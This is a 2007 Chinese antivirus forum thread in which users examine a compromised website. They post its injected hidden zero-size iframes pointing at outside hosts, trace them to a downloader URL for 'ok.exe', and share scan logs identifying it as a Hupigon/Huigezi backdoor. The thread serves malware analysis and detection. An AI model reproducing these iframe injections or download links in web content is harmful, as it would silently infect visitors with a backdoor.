一个被挂的网站

Redevil

<iframe src=http://o.thec.cn/lw365/dns.htm width=0 height=0></iframe><iframe src=http://o.thec.cn/lw365/xp.htm width=0 height=0></iframe>
<iframe src=http://o.thec.cn/lw365/dns.htm width=0 height=0></iframe><iframe src=http://o.thec.cn/lw365/xp.htm width=0 height=0></iframe>
<iframe src=http://o.thec.cn/lw365/dns.htm width=0 height=0></iframe><iframe src=http://o.thec.cn/lw365/xp.htm width=0 height=0></iframe>


附上样本

[ 本帖最后由 Redevil 于 2007-8-3 19:03 编辑 ]

Redevil

卡巴进去没反应
也没下载东西
同时连接了这个网站
2007-8-3 17:48:43 URL: http://qq.7878758.com/ 正常 已扫描

solcroft

需要解密吗？
两个都是http://o.thec.cn/lw365/ok.exe

PS：咖啡挂

lsyer

就找到这么点~
http://o.thec.cn/lw365/ok.exe
<iframe src="http://qq.7878758.com/in.asp?id=lw365" width=0 height=0></iframe>

lsyer

唯一解的
www.CuteQq.cn

[ 本帖最后由 lsyer 于 2007-8-3 17:59 编辑 ]

promised

C:\ABC\ok.exe - 特征码 'MalwareScope.Backdoor.Hupigon.17' 被发现

lsyer

那个人那里还有录象。。。
自己看把~
http://www.cuteqq.cn/Lx/hyblx.htm

红心王子

4楼发的

大家来测试吧

北京江民新科技术有限公司
扫描引擎 10.00.650
病毒库日期 2007-08-03
更新日期 2007-08-03
扫描目标 C:\Documents and Settings\Administrator\桌面\ok.exe
开始时间 2007-08-03 18:18:34
在 C:\Documents and Settings\Administrator\桌面\ok.exe 中发现 Backdoor/Huigezi.2007.xrl 病毒, 已删除
正常结束。
扫描结果:
                 文件数 :475                                 病毒体 :1         
                   删除 :1                                     解毒 :0         
    扫描速度(千字节/秒) :6317                              扫描时间 :00:00:20
    扫描文件速度(个/秒) :23

斧头干掉

tracydk

原帖由 红心王子 于 2007-8-3 18:21 发表
4楼发的

大家来测试吧

北京江民新科技术有限公司
扫描引擎 10.00.650
病毒库日期 2007-08-03
更新日期 2007-08-03
扫描目标 C:\Documents and Settings\Administrator\桌面\ok.exe
开始时间  ...

杀鸟

lsyer

原帖由 tracydk 于 2007-8-3 18:38 发表

杀鸟

微点这个未知实在是。。。。。